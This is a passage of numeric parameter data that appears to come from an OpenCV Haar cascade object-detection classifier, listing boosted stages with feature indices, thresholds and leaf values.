-1.9759280607104301e-02 + + -5.9039229154586792e-01 4.0698971599340439e-02 + <_> + + 0 -1 581 -1.0845210403203964e-02 + + 1.6364559531211853e-01 -1.2586060166358948e-01 + <_> + + 0 -1 582 -4.3183090165257454e-03 + + -5.7474881410598755e-01 3.7644311785697937e-02 + <_> + + 0 -1 583 1.4913700288161635e-03 + + 6.0913469642400742e-02 -3.0222928524017334e-01 + <_> + + 0 -1 584 1.5675699338316917e-02 + + -7.3145911097526550e-02 2.9379451274871826e-01 + <_> + + 0 -1 585 -1.1033560149371624e-02 + + 3.9318808913230896e-01 -4.7084320336580276e-02 + <_> + + 0 -1 586 8.8555756956338882e-03 + + 3.7601381540298462e-02 -4.9108490347862244e-01 + <_> + + 0 -1 587 -8.9665671112015843e-04 + + 1.7952020466327667e-01 -1.1086239665746689e-01 + <_> + + 0 -1 588 -3.0592409893870354e-03 + + -4.4429460167884827e-01 5.1005430519580841e-02 + <_> + + 0 -1 589 6.3201179727911949e-03 + + -5.2841089665889740e-02 3.7197101116180420e-01 + <_> + + 0 -1 590 2.0682830363512039e-02 + + 5.7667169719934464e-02 -3.6901599168777466e-01 + <_> + + 0 -1 591 9.9822662770748138e-02 + + -3.7377018481492996e-02 5.8165591955184937e-01 + <_> + + 0 -1 592 -6.5854229032993317e-03 + + 2.8509441018104553e-01 -6.0978069901466370e-02 + <_> + + 0 -1 593 -6.0900300741195679e-02 + + -5.1031768321990967e-01 3.7787400186061859e-02 + <_> + + 0 -1 594 -2.9991709161549807e-03 + + -4.7943010926246643e-01 3.8833890110254288e-02 + <_> + + 0 -1 595 -9.8906438797712326e-03 + + 4.0609079599380493e-01 -4.7869648784399033e-02 + <_> + + 0 -1 596 -8.2688927650451660e-02 + + -7.0671182870864868e-01 2.7487749233841896e-02 + <_> + + 0 -1 597 5.0060399807989597e-03 + + 2.8208440169692039e-02 -5.2909690141677856e-01 + <_> + + 0 -1 598 6.1695030890405178e-03 + + -5.4554861038923264e-02 3.2837980985641479e-01 + <_> + + 0 -1 599 -3.3914761152118444e-03 + + 9.2117667198181152e-02 -2.1637110412120819e-01 + <_> + + 0 -1 600 -2.6131230406463146e-03 + + 1.3651019334793091e-01 -1.3781130313873291e-01 + <_> + + 0 -1 601 8.0490659456700087e-04 + + -6.8637110292911530e-02 3.3581069111824036e-01 + <_> + + 0 -1 602 -3.8106508553028107e-02 + + 2.9445430636405945e-01 -6.8239226937294006e-02 + <_> + + 0 -1 603 7.2450799052603543e-05 + + -1.6750130057334900e-01 1.2178230285644531e-01 + <_> + + 0 -1 604 1.5837959945201874e-03 + + -9.2042848467826843e-02 2.1348990499973297e-01 + <_> + + 0 -1 605 1.2924340553581715e-03 + + 6.2917232513427734e-02 -3.6174508929252625e-01 + <_> + + 0 -1 606 9.9146775901317596e-03 + + 1.9534060731530190e-02 -8.1015038490295410e-01 + <_> + + 0 -1 607 -1.7086310544982553e-03 + + 2.5525239109992981e-01 -6.8229459226131439e-02 + <_> + + 0 -1 608 2.1844399161636829e-03 + + 2.3314049467444420e-02 -8.4296780824661255e-01 + <_> + + 0 -1 609 -3.4244330599904060e-03 + + 2.7213689684867859e-01 -7.6395228505134583e-02 + <_> + + 0 -1 610 2.7591470279730856e-04 + + -1.0742840170860291e-01 2.2888970375061035e-01 + <_> + + 0 -1 611 -6.0005177510902286e-04 + + -2.9854211211204529e-01 6.3479736447334290e-02 + <_> + + 0 -1 612 -2.5001438916660845e-04 + + -2.7178969979286194e-01 6.9615006446838379e-02 + <_> + + 0 -1 613 6.8751391954720020e-03 + + -5.7185899466276169e-02 3.6695951223373413e-01 + <_> + + 0 -1 614 1.2761900201439857e-02 + + 6.7955687642097473e-02 -2.8534150123596191e-01 + <_> + + 0 -1 615 -1.4752789866179228e-03 + + 2.0680660009384155e-01 -1.0059390217065811e-01 + <_> + + 0 -1 616 1.2138819694519043e-01 + + -9.7126796841621399e-02 1.9789619743824005e-01 + <_> + + 0 -1 617 -5.0081279128789902e-02 + + 2.8417178988456726e-01 -6.7879997193813324e-02 + <_> + + 0 -1 618 3.1454950571060181e-02 + + -8.9468672871589661e-02 2.1298420429229736e-01 + <_> + + 0 -1 619 1.8878319533541799e-03 + + -1.1656440049409866e-01 1.6663520038127899e-01 + <_> + + 0 -1 620 -5.7211960665881634e-03 + + 2.3702140152454376e-01 -9.0776607394218445e-02 + <_> + + 0 -1 621 -1.8076719425152987e-04 + + 1.7951929569244385e-01 -1.0793480277061462e-01 + <_> + + 0 -1 622 -1.9761849939823151e-01 + + 4.5674291253089905e-01 -4.0480159223079681e-02 + <_> + + 0 -1 623 -2.3846809926908463e-04 + + -2.3733009397983551e-01 7.5922161340713501e-02 + <_> + + 0 -1 624 2.1540730085689574e-04 + + 8.1688016653060913e-02 -2.8685030341148376e-01 + <_> + + 0 -1 625 1.0163090191781521e-02 + + -4.1250020265579224e-02 4.8038348555564880e-01 + <_> + + 0 -1 626 -7.2184870950877666e-03 + + 1.7458580434322357e-01 -1.0146500170230865e-01 + <_> + + 0 -1 627 2.4263170361518860e-01 + + 5.3426481783390045e-02 -3.2318529486656189e-01 + <_> + + 0 -1 628 6.9304101634770632e-04 + + -1.1499179899692535e-01 1.4793939888477325e-01 + <_> + + 0 -1 629 3.5475199110805988e-03 + + -3.9424978196620941e-02 5.3126180171966553e-01 + <_> + + 0 -1 630 2.1403690334409475e-04 + + 6.9753833115100861e-02 -2.7319580316543579e-01 + <_> + + 0 -1 631 -5.7119462871924043e-04 + + 3.4369900822639465e-01 -5.7699009776115417e-02 + <_> + + 0 -1 632 -6.6290069371461868e-03 + + 1.1758489906787872e-01 -1.5020139515399933e-01 + <_> + 66 + -1.0888810157775879e+00 + + <_> + + 0 -1 633 -2.6513449847698212e-02 + + 2.0568640530109406e-01 -2.6473900675773621e-01 + <_> + + 0 -1 634 9.7727458924055099e-03 + + -1.1192840337753296e-01 3.2570549845695496e-01 + <_> + + 0 -1 635 3.2290350645780563e-02 + + -9.8574757575988770e-02 3.1779170036315918e-01 + <_> + + 0 -1 636 -2.8103240765631199e-03 + + 1.5213899314403534e-01 -1.9686409831047058e-01 + <_> + + 0 -1 637 -1.0991429910063744e-02 + + 5.1407659053802490e-01 -4.3707210570573807e-02 + <_> + + 0 -1 638 6.3133831135928631e-03 + + -9.2781022191047668e-02 3.4702470898628235e-01 + <_> + + 0 -1 639 8.7105982005596161e-02 + + 3.0053649097681046e-02 -8.2814818620681763e-01 + <_> + + 0 -1 640 1.1799359926953912e-03 + + -1.2928420305252075e-01 2.0646120607852936e-01 + <_> + + 0 -1 641 -9.3056890182197094e-04 + + -5.0021439790725708e-01 9.3666993081569672e-02 + <_> + + 0 -1 642 -1.3687170110642910e-02 + + -7.9358148574829102e-01 -6.6733639687299728e-03 + <_> + + 0 -1 643 -7.5917452573776245e-02 + + 3.0469641089439392e-01 -7.9655893146991730e-02 + <_> + + 0 -1 644 -2.8559709899127483e-03 + + 2.0961460471153259e-01 -1.2732550501823425e-01 + <_> + + 0 -1 645 -4.0231510065495968e-03 + + -6.5817278623580933e-01 5.0683639943599701e-02 + <_> + + 0 -1 646 1.7558040097355843e-02 + + -8.5382692515850067e-02 3.6174559593200684e-01 + <_> + + 0 -1 647 2.1988239139318466e-02 + + 6.2943696975708008e-02 -7.0896339416503906e-01 + <_> + + 0 -1 648 -2.8599589131772518e-03 + + 1.4683780074119568e-01 -1.6465979814529419e-01 + <_> + + 0 -1 649 -1.0030849836766720e-02 + + 4.9579939246177673e-01 -2.7188340201973915e-02 + <_> + + 0 -1 650 -6.9560329429805279e-03 + + 2.7977779507637024e-01 -7.7953331172466278e-02 + <_> + + 0 -1 651 -3.8356808945536613e-03 + + -5.8163982629776001e-01 3.5739939659833908e-02 + <_> + + 0 -1 652 -3.2647319603711367e-03 + + -4.9945080280303955e-01 4.6986490488052368e-02 + <_> + + 0 -1 653 -7.8412350267171860e-03 + + 3.4532830119132996e-01 -6.8810403347015381e-02 + <_> + + 0 -1 654 -8.1718113506212831e-05 + + 1.5041710436344147e-01 -1.4146679639816284e-01 + <_> + + 0 -1 655 -3.2448628917336464e-03 + + 2.2724510729312897e-01 -9.2860206961631775e-02 + <_> + + 0 -1 656 -7.8561151167377830e-04 + + -4.4319018721580505e-01 5.7812441140413284e-02 + <_> + + 0 -1 657 -6.2474247533828020e-04 + + 1.3952389359474182e-01 -1.4668719470500946e-01 + <_> + + 0 -1 658 -3.2942948746494949e-04 + + -2.9901570081710815e-01 7.6066739857196808e-02 + <_> + + 0 -1 659 1.2605739757418633e-03 + + -1.6125600039958954e-01 1.3953800499439240e-01 + <_> + + 0 -1 660 -5.1667019724845886e-02 + + -5.3142839670181274e-01 4.0719520300626755e-02 + <_> + + 0 -1 661 -1.5285619534552097e-02 + + -7.8206378221511841e-01 2.7183769270777702e-02 + <_> + + 0 -1 662 6.9029822945594788e-02 + + -3.6427021026611328e-02 7.1102517843246460e-01 + <_> + + 0 -1 663 1.4522749697789550e-03 + + -9.6890516579151154e-02 2.1668420732021332e-01 + <_> + + 0 -1 664 -2.4765590205788612e-03 + + 1.1645310372114182e-01 -1.8227979540824890e-01 + <_> + + 0 -1 665 -1.5134819550439715e-03 + + 1.7863979935646057e-01 -1.2214969843626022e-01 + <_> + + 0 -1 666 -1.5099470037966967e-03 + + 1.8086239695549011e-01 -1.1446069926023483e-01 + <_> + + 0 -1 667 -6.7054620012640953e-03 + + 2.5106599926948547e-01 -9.1871462762355804e-02 + <_> + + 0 -1 668 -1.4075200073421001e-02 + + 1.3707509636878967e-01 -1.7333500087261200e-01 + <_> + + 0 -1 669 -2.2400720044970512e-03 + + 4.0092980861663818e-01 -4.7576878219842911e-02 + <_> + + 0 -1 670 1.9782369956374168e-02 + + -1.9040350615978241e-01 1.4923410117626190e-01 + <_> + + 0 -1 671 2.6002870872616768e-03 + + 4.6971768140792847e-02 -4.3307659029960632e-01 + <_> + + 0 -1 672 -5.3445628145709634e-04 + + -4.3744230270385742e-01 4.1520189493894577e-02 + <_> + + 0 -1 673 -1.7466509714722633e-02 + + 6.5818172693252563e-01 -3.4447491168975830e-02 + <_> + + 0 -1 674 -2.0425589755177498e-03 + + 3.9657929539680481e-01 -4.4052429497241974e-02 + <_> + + 0 -1 675 2.6661779265850782e-03 + + 5.8770958334207535e-02 -3.2806369662284851e-01 + <_> + + 0 -1 676 -5.5982369929552078e-02 + + -5.1735472679138184e-01 3.5791840404272079e-02 + <_> + + 0 -1 677 -1.5066330088302493e-03 + + 1.5123869478702545e-01 -1.2520180642604828e-01 + <_> + + 0 -1 678 -1.1472369544208050e-02 + + -6.2930530309677124e-01 3.4704331308603287e-02 + <_> + + 0 -1 679 2.3409629240632057e-02 + + -5.8063350617885590e-02 3.8668221235275269e-01 + <_> + + 0 -1 680 -2.3243729956448078e-03 + + 1.8754099309444427e-01 -9.8394669592380524e-02 + <_> + + 0 -1 681 -2.9039299115538597e-02 + + -5.4486900568008423e-01 4.0926340967416763e-02 + <_> + + 0 -1 682 -1.4474649913609028e-02 + + -6.7248392105102539e-01 2.3128850385546684e-02 + <_> + + 0 -1 683 -5.2086091600358486e-03 + + -4.3271440267562866e-01 4.3780650943517685e-02 + <_> + + 0 -1 684 4.9382899887859821e-03 + + -1.0878620296716690e-01 1.9342589378356934e-01 + <_> + + 0 -1 685 -4.3193930760025978e-03 + + 2.4080930650234222e-01 -1.0380800068378448e-01 + <_> + + 0 -1 686 2.3705669445917010e-04 + + -8.7349072098731995e-02 2.0466239750385284e-01 + <_> + + 0 -1 687 4.7858079778961837e-04 + + 4.5624580234289169e-02 -3.8854670524597168e-01 + <_> + + 0 -1 688 -8.5342838428914547e-04 + + -5.5077940225601196e-01 3.5825889557600021e-02 + <_> + + 0 -1 689 5.4772121075075120e-05 + + -1.1225239932537079e-01 1.7503519356250763e-01 + <_> + + 0 -1 690 -3.8445889949798584e-03 + + 2.4526700377464294e-01 -8.1132568418979645e-02 + <_> + + 0 -1 691 -4.0128458291292191e-02 + + -6.3122707605361938e-01 2.6972670108079910e-02 + <_> + + 0 -1 692 -1.7886360001284629e-04 + + 1.9855099916458130e-01 -1.0333680361509323e-01 + <_> + + 0 -1 693 1.7668239888735116e-04 + + -9.1359011828899384e-02 1.9848720729351044e-01 + <_> + + 0 -1 694 7.2763383388519287e-02 + + 5.0075579434633255e-02 -3.3852630853652954e-01 + <_> + + 0 -1 695 1.0181630030274391e-02 + + -9.3229979276657104e-02 2.0059590041637421e-01 + <_> + + 0 -1 696 2.4409969337284565e-03 + + 6.4636632800102234e-02 -2.6921740174293518e-01 + <_> + + 0 -1 697 -3.6227488890290260e-03 + + 1.3169890642166138e-01 -1.2514840066432953e-01 + <_> + + 0 -1 698 -1.3635610230267048e-03 + + 1.6350460052490234e-01 -1.0665939748287201e-01 + <_> + 69 + -1.0408929586410522e+00 + + <_> + + 0 -1 699 -9.6991164609789848e-03 + + 6.1125320196151733e-01 -6.6225312650203705e-02 + <_> + + 0 -1 700 -9.6426531672477722e-03 + + -1. 2.7699959464371204e-03 + <_> + + 0 -1 701 -9.6381865441799164e-03 + + 1. -2.9904270195402205e-04 + <_> + + 0 -1 702 -4.2553939856588840e-03 + + 2.8464388847351074e-01 -1.5540120005607605e-01 + <_> + + 0 -1 703 -9.6223521977663040e-03 + + -1. 4.3999180197715759e-02 + <_> + + 0 -1 704 -9.1231241822242737e-03 + + 8.6869341135025024e-01 -2.7267890982329845e-03 + <_> + + 0 -1 705 -8.6240433156490326e-03 + + 4.5352488756179810e-01 -8.6071379482746124e-02 + <_> + + 0 -1 706 -8.9324144646525383e-03 + + 1.3375559449195862e-01 -2.6012519001960754e-01 + <_> + + 0 -1 707 -1.4207810163497925e-02 + + 3.2077640295028687e-01 -9.7226411104202271e-02 + <_> + + 0 -1 708 2.5911010801792145e-02 + + -1.2964080274105072e-01 2.6218649744987488e-01 + <_> + + 0 -1 709 2.0531509653665125e-04 + + -1.2404280155897141e-01 2.1062959730625153e-01 + <_> + + 0 -1 710 -5.4795680625829846e-05 + + 1.1974299699068069e-01 -2.3201279342174530e-01 + <_> + + 0 -1 711 6.8555199541151524e-03 + + -6.3276126980781555e-02 4.1044250130653381e-01 + <_> + + 0 -1 712 -1.2253040447831154e-02 + + 5.4883331060409546e-01 -3.9731100201606750e-02 + <_> + + 0 -1 713 -3.9058770053088665e-03 + + 2.4190980195999146e-01 -9.7096011042594910e-02 + <_> + + 0 -1 714 2.7560980524867773e-03 + + -1.2569679319858551e-01 1.9456650316715240e-01 + <_> + + 0 -1 715 -7.7662160620093346e-03 + + 2.9765701293945312e-01 -9.6818156540393829e-02 + <_> + + 0 -1 716 3.8997188676148653e-04 + + 6.2188401818275452e-02 -4.2040899395942688e-01 + <_> + + 0 -1 717 3.3579880837351084e-03 + + 4.7498140484094620e-02 -6.3216882944107056e-01 + <_> + + 0 -1 718 -1.6745539382100105e-02 + + 7.1098130941390991e-01 -3.9157349616289139e-02 + <_> + + 0 -1 719 -6.5409899689257145e-03 + + -3.5043171048164368e-01 7.0616953074932098e-02 + <_> + + 0 -1 720 3.0016340315341949e-04 + + 9.1902457177639008e-02 -2.4618670344352722e-01 + <_> + + 0 -1 721 1.4918990433216095e-02 + + -5.1909450441598892e-02 5.6636041402816772e-01 + <_> + + 0 -1 722 4.8153079114854336e-04 + + 6.4659558236598969e-02 -3.6590608954429626e-01 + <_> + + 0 -1 723 -3.0211321427486837e-04 + + 1.7926569283008575e-01 -1.1410660296678543e-01 + <_> + + 0 -1 724 3.8521419628523290e-04 + + 1.0345619916915894e-01 -2.0072460174560547e-01 + <_> + + 0 -1 725 8.0837132409214973e-03 + + -6.6073462367057800e-02 3.0284249782562256e-01 + <_> + + 0 -1 726 -2.2804969921708107e-02 + + 5.2962350845336914e-01 -4.0118999779224396e-02 + <_> + + 0 -1 727 1.9440450705587864e-04 + + 8.1854820251464844e-02 -2.4663360416889191e-01 + <_> + + 0 -1 728 -1.2848090380430222e-02 + + -3.4973311424255371e-01 5.6916229426860809e-02 + <_> + + 0 -1 729 -1.0937290498986840e-03 + + 2.3368680477142334e-01 -9.1604806482791901e-02 + <_> + + 0 -1 730 1.0032650316134095e-03 + + 1.1852180212736130e-01 -1.8469190597534180e-01 + <_> + + 0 -1 731 -4.4688429683446884e-02 + + -6.4362460374832153e-01 3.0363269150257111e-02 + <_> + + 0 -1 732 8.1657543778419495e-03 + + 4.3674658983945847e-02 -4.3002089858055115e-01 + <_> + + 0 -1 733 -1.1717810295522213e-02 + + 4.1781479120254517e-01 -4.8233699053525925e-02 + <_> + + 0 -1 734 8.4277130663394928e-02 + + 5.3461279720067978e-02 -3.7952190637588501e-01 + <_> + + 0 -1 735 1.4211839996278286e-02 + + 4.4900938868522644e-02 -4.2981499433517456e-01 + <_> + + 0 -1 736 1.5028340276330709e-03 + + 8.2227639853954315e-02 -2.4706399440765381e-01 + <_> + + 0 -1 737 1.0003579780459404e-02 + + -5.7221669703722000e-02 3.4609371423721313e-01 + <_> + + 0 -1 738 -9.0706320479512215e-03 + + 4.5058089494705200e-01 -4.2795319110155106e-02 + <_> + + 0 -1 739 -3.3141620224341750e-04 + + 1.8336910009384155e-01 -1.0759949684143066e-01 + <_> + + 0 -1 740 1.9723279774188995e-01 + + -3.0363829806447029e-02 6.6423428058624268e-01 + <_> + + 0 -1 741 -7.1258801035583019e-03 + + -8.9225047826766968e-01 2.5669990107417107e-02 + <_> + + 0 -1 742 8.6921341717243195e-03 + + -7.0764370262622833e-02 2.8210529685020447e-01 + <_> + + 0 -1 743 8.9262127876281738e-03 + + 7.1078233420848846e-02 -3.0232560634613037e-01 + <_> + + 0 -1 744 5.7286009192466736e-02 + + 5.0974130630493164e-02 -3.9196950197219849e-01 + <_> + + 0 -1 745 3.7920880131423473e-03 + + 3.3841941505670547e-02 -5.1016288995742798e-01 + <_> + + 0 -1 746 -1.4508679741993546e-03 + + 3.0879148840904236e-01 -6.3845083117485046e-02 + <_> + + 0 -1 747 9.8390132188796997e-04 + + -1.3029569387435913e-01 1.4604410529136658e-01 + <_> + + 0 -1 748 -1.7221809830516577e-03 + + 2.9157009720802307e-01 -6.8549558520317078e-02 + <_> + + 0 -1 749 1.0948250070214272e-02 + + 3.4351408481597900e-02 -4.7702258825302124e-01 + <_> + + 0 -1 750 -1.7176309484057128e-05 + + 1.6055269539356232e-01 -1.1690840125083923e-01 + <_> + + 0 -1 751 -5.4884208366274834e-03 + + -4.3415889143943787e-01 4.6106241643428802e-02 + <_> + + 0 -1 752 -3.0975250992923975e-03 + + 3.7943339347839355e-01 -5.6860551238059998e-02 + <_> + + 0 -1 753 6.4182081259787083e-03 + + -1.5858210623264313e-01 1.2335419654846191e-01 + <_> + + 0 -1 754 1.1831239797174931e-02 + + -4.0929291397333145e-02 4.5878958702087402e-01 + <_> + + 0 -1 755 1.3540499843657017e-02 + + -5.3725559264421463e-02 3.5056120157241821e-01 + <_> + + 0 -1 756 -2.5932150892913342e-03 + + 1.1010520160198212e-01 -1.6752210259437561e-01 + <_> + + 0 -1 757 1.6856270376592875e-03 + + 6.6574357450008392e-02 -3.0835020542144775e-01 + <_> + + 0 -1 758 2.6524690911173820e-03 + + 6.6318482160568237e-02 -2.7861338853836060e-01 + <_> + + 0 -1 759 -7.7341729775071144e-03 + + 1.9718359410762787e-01 -1.0782919824123383e-01 + <_> + + 0 -1 760 5.0944271497428417e-03 + + 8.5337489843368530e-02 -2.4847009778022766e-01 + <_> + + 0 -1 761 -2.9162371065467596e-03 + + -4.7476351261138916e-01 3.3566489815711975e-02 + <_> + + 0 -1 762 3.0121419113129377e-03 + + -4.7575380653142929e-02 4.2586800456047058e-01 + <_> + + 0 -1 763 3.1694869976490736e-03 + + -1.0519450157880783e-01 1.7163459956645966e-01 + <_> + + 0 -1 764 2.2327560186386108e-01 + + -1.4370209537446499e-02 9.2483651638031006e-01 + <_> + + 0 -1 765 -9.5585048198699951e-02 + + -7.4206638336181641e-01 2.7818970382213593e-02 + <_> + + 0 -1 766 3.4773729566950351e-05 + + -1.2765780091285706e-01 1.2926669418811798e-01 + <_> + + 0 -1 767 7.2459770308341831e-05 + + -1.6518579423427582e-01 1.0036809742450714e-01 + <_> + 59 + -1.0566600561141968e+00 + + <_> + + 0 -1 768 -6.5778270363807678e-03 + + 3.3815258741378784e-01 -1.5281909704208374e-01 + <_> + + 0 -1 769 -1.0922809597104788e-03 + + 2.2282369434833527e-01 -1.9308499991893768e-01 + <_> + + 0 -1 770 -2.9759589582681656e-02 + + 2.5959870219230652e-01 -1.5409409999847412e-01 + <_> + + 0 -1 771 -1.3147540390491486e-02 + + 1.9033810496330261e-01 -1.6543999314308167e-01 + <_> + + 0 -1 772 -1.4396329643204808e-03 + + 2.0071710646152496e-01 -1.2338940054178238e-01 + <_> + + 0 -1 773 -3.5928250290453434e-03 + + 2.3985520005226135e-01 -1.2922149896621704e-01 + <_> + + 0 -1 774 -1.5314699849113822e-03 + + -4.9014899134635925e-01 1.0275030136108398e-01 + <_> + + 0 -1 775 -6.2372139655053616e-03 + + 3.1214639544487000e-01 -1.1405629664659500e-01 + <_> + + 0 -1 776 -3.3364649862051010e-02 + + -4.9520879983901978e-01 5.1328450441360474e-02 + <_> + + 0 -1 777 -2.2827699780464172e-02 + + 3.2558828592300415e-01 -6.5089307725429535e-02 + <_> + + 0 -1 778 -8.6199097335338593e-02 + + -6.7646330595016479e-01 2.6985699310898781e-02 + <_> + + 0 -1 779 -2.1065981127321720e-03 + + 2.2452430427074432e-01 -1.2610229849815369e-01 + <_> + + 0 -1 780 3.9120148867368698e-02 + + 1.1329399794340134e-01 -2.6860630512237549e-01 + <_> + + 0 -1 781 3.5082739777863026e-03 + + -1.1359959840774536e-01 2.5649771094322205e-01 + <_> + + 0 -1 782 5.9289898490533233e-04 + + -1.4942969381809235e-01 1.6409839689731598e-01 + <_> + + 0 -1 783 7.1766850305721164e-04 + + 9.9905692040920258e-02 -2.1967969834804535e-01 + <_> + + 0 -1 784 -2.1803600713610649e-02 + + -3.1711721420288086e-01 8.2889586687088013e-02 + <_> + + 0 -1 785 -3.2962779514491558e-03 + + -3.8048729300498962e-01 6.0819379985332489e-02 + <_> + + 0 -1 786 2.4196270387619734e-03 + + -9.6013016998767853e-02 2.8540581464767456e-01 + <_> + + 0 -1 787 -4.4187481398694217e-04 + + 2.2127939760684967e-01 -9.7434908151626587e-02 + <_> + + 0 -1 788 3.4523929934948683e-03 + + 3.7553120404481888e-02 -5.7969051599502563e-01 + <_> + + 0 -1 789 -2.1834600716829300e-02 + + 2.9562139511108398e-01 -8.0048300325870514e-02 + <_> + + 0 -1 790 -2.1309500152710825e-04 + + 2.2814509272575378e-01 -1.0114189982414246e-01 + <_> + + 0 -1 791 -1.6166249988600612e-03 + + -5.0541198253631592e-01 4.4764541089534760e-02 + <_> + + 0 -1 792 7.5959609821438789e-03 + + 4.5986540615558624e-02 -4.1197681427001953e-01 + <_> + + 0 -1 793 3.8601809646934271e-03 + + -8.6563169956207275e-02 2.4809999763965607e-01 + <_> + + 0 -1 794 6.0622231103479862e-03 + + -7.5557373464107513e-02 2.8433260321617126e-01 + <_> + + 0 -1 795 -1.7097420059144497e-03 + + -3.5295820236206055e-01 5.8410499244928360e-02 + <_> + + 0 -1 796 1.6515579074621201e-02 + + -8.0486953258514404e-02 2.3537430167198181e-01 + <_> + + 0 -1 797 4.8465100117027760e-03 + + 4.1895218193531036e-02 -4.8443049192428589e-01 + <_> + + 0 -1 798 -3.1167170032858849e-02 + + 1.9192309677600861e-01 -1.0268159955739975e-01 + <_> + + 0 -1 799 6.1892281519249082e-04 + + -2.1085770428180695e-01 9.3886926770210266e-02 + <_> + + 0 -1 800 1.1946310289204121e-02 + + 3.9096169173717499e-02 -6.2248629331588745e-01 + <_> + + 0 -1 801 -7.5677200220525265e-03 + + 1.5936839580535889e-01 -1.2250780314207077e-01 + <_> + + 0 -1 802 -5.3747411817312241e-02 + + -5.5622178316116333e-01 4.1190009564161301e-02 + <_> + + 0 -1 803 1.5513530001044273e-02 + + -3.9826881140470505e-02 6.2400728464126587e-01 + <_> + + 0 -1 804 1.5246650436893106e-03 + + 7.0138677954673767e-02 -3.0789071321487427e-01 + <_> + + 0 -1 805 -4.8315100139006972e-04 + + 1.7887659370899200e-01 -1.0958620160818100e-01 + <_> + + 0 -1 806 2.7374739293009043e-03 + + 2.7478590607643127e-02 -8.8489568233489990e-01 + <_> + + 0 -1 807 -6.5787717700004578e-02 + + -4.6432140469551086e-01 3.5037148743867874e-02 + <_> + + 0 -1 808 1.2409730115905404e-03 + + -9.6479237079620361e-02 2.8779220581054688e-01 + <_> + + 0 -1 809 8.1398809561505914e-04 + + 1.1511719971895218e-01 -1.6766160726547241e-01 + <_> + + 0 -1 810 2.3901820182800293e-02 + + -3.2603189349174500e-02 6.0017347335815430e-01 + <_> + + 0 -1 811 2.7556600049138069e-02 + + -6.6137343645095825e-02 2.9994478821754456e-01 + <_> + + 0 -1 812 -3.8070970913395286e-04 + + -3.3881181478500366e-01 6.4450770616531372e-02 + <_> + + 0 -1 813 -1.3335429830476642e-03 + + 1.4588660001754761e-01 -1.3217620551586151e-01 + <_> + + 0 -1 814 -9.3507990241050720e-03 + + -5.1177829504013062e-01 3.4969471395015717e-02 + <_> + + 0 -1 815 7.6215229928493500e-03 + + 2.3249529302120209e-02 -6.9619411230087280e-01 + <_> + + 0 -1 816 -5.3407860832521692e-05 + + 2.3727379739284515e-01 -8.6910709738731384e-02 + <_> + + 0 -1 817 -1.5332329785451293e-03 + + 1.9228410720825195e-01 -1.0422399640083313e-01 + <_> + + 0 -1 818 4.3135890737175941e-03 + + -9.6219547092914581e-02 2.5601211190223694e-01 + <_> + + 0 -1 819 -2.3042880638968199e-04 + + -3.1564751267433167e-01 5.8838598430156708e-02 + <_> + + 0 -1 820 -7.8411828726530075e-03 + + -6.6340929269790649e-01 2.4500999599695206e-02 + <_> + + 0 -1 821 1.7103740572929382e-01 + + 3.3831499516963959e-02 -4.5615941286087036e-01 + <_> + + 0 -1 822 -1.6011140542104840e-03 + + 2.1574890613555908e-01 -8.3622530102729797e-02 + <_> + + 0 -1 823 -1.0535780340433121e-02 + + 2.4552319943904877e-01 -8.2384489476680756e-02 + <_> + + 0 -1 824 -5.8351638726890087e-03 + + -4.7807329893112183e-01 4.4086221605539322e-02 + <_> + + 0 -1 825 -1.8706109374761581e-02 + + -6.0024029016494751e-01 2.1410040557384491e-02 + <_> + + 0 -1 826 -9.3307439237833023e-04 + + 2.4323590099811554e-01 -7.4165716767311096e-02 + <_> + 88 + -9.7693431377410889e-01 + + <_> + + 0 -1 827 1.0646229609847069e-02 + + -1.3861389458179474e-01 2.6494070887565613e-01 + <_> + + 0 -1 828 3.5298269242048264e-02 + + -7.5821727514266968e-02 3.9021068811416626e-01 + <_> + + 0 -1 829 7.5638387352228165e-04 + + -9.5521442592144012e-02 2.9061999917030334e-01 + <_> + + 0 -1 830 9.2497706413269043e-02 + + -2.7704238891601562e-01 7.9474702477455139e-02 + <_> + + 0 -1 831 -2.9340879991650581e-03 + + 2.2989539802074432e-01 -7.8550010919570923e-02 + <_> + + 0 -1 832 -8.6535848677158356e-02 + + 4.7744810581207275e-01 -6.8231220357120037e-03 + <_> + + 0 -1 833 5.4699288739357144e-05 + + -2.2642609477043152e-01 8.8192112743854523e-02 + <_> + + 0 -1 834 -3.6592520773410797e-02 + + 2.7353870868682861e-01 -9.8606742918491364e-02 + <_> + + 0 -1 835 2.6469118893146515e-03 + + -4.4083978980779648e-02 3.1445288658142090e-01 + <_> + + 0 -1 836 -4.4271810911595821e-03 + + 2.3822729289531708e-01 -8.6784273386001587e-02 + <_> + + 0 -1 837 -5.1882481202483177e-03 + + 1.5042769908905029e-01 -1.2672109901905060e-01 + <_> + + 0 -1 838 4.5530400238931179e-03 + + -5.5945020169019699e-02 3.6501631140708923e-01 + <_> + + 0 -1 839 1.4562410302460194e-02 + + 3.6397770047187805e-02 -5.3559190034866333e-01 + <_> + + 0 -1 840 6.8677567469421774e-05 + + -1.7479629814624786e-01 1.1068709939718246e-01 + <_> + + 0 -1 841 -5.9744901955127716e-03 + + 3.1077870726585388e-01 -6.6530227661132812e-02 + <_> + + 0 -1 842 -5.8691250160336494e-03 + + -3.1901490688323975e-01 6.3931830227375031e-02 + <_> + + 0 -1 843 -1.1140310205519199e-02 + + 2.4364790320396423e-01 -8.0935180187225342e-02 + <_> + + 0 -1 844 -5.8643531054258347e-02 + + -7.6083260774612427e-01 3.0809629708528519e-02 + <_> + + 0 -1 845 -4.6097282320261002e-03 + + -4.5315021276473999e-01 2.9879059642553329e-02 + <_> + + 0 -1 846 -9.3032103031873703e-03 + + 1.4513379335403442e-01 -1.1033169925212860e-01 + <_> + + 0 -1 847 1.3253629440441728e-03 + + -9.7698956727981567e-02 1.9646440446376801e-01 + <_> + + 0 -1 848 4.9800761044025421e-03 + + 3.3648081123828888e-02 -3.9792209863662720e-01 + <_> + + 0 -1 849 -7.6542161405086517e-03 + + 9.0841993689537048e-02 -1.5967549383640289e-01 + <_> + + 0 -1 850 -3.8920590281486511e-01 + + -6.6571092605590820e-01 1.9028829410672188e-02 + <_> + + 0 -1 851 -1.0019669681787491e-01 + + -5.7559269666671753e-01 2.4282779544591904e-02 + <_> + + 0 -1 852 7.3541211895644665e-04 + + 8.7919801473617554e-02 -1.6195340454578400e-01 + <_> + + 0 -1 853 -3.4802639856934547e-03 + + 2.6064491271972656e-01 -6.0200810432434082e-02 + <_> + + 0 -1 854 8.4000425413250923e-03 + + -1.0979729890823364e-01 1.5707309544086456e-01 + <_> + + 0 -1 855 2.3786011151969433e-03 + + 3.6058239638805389e-02 -4.7277191281318665e-01 + <_> + + 0 -1 856 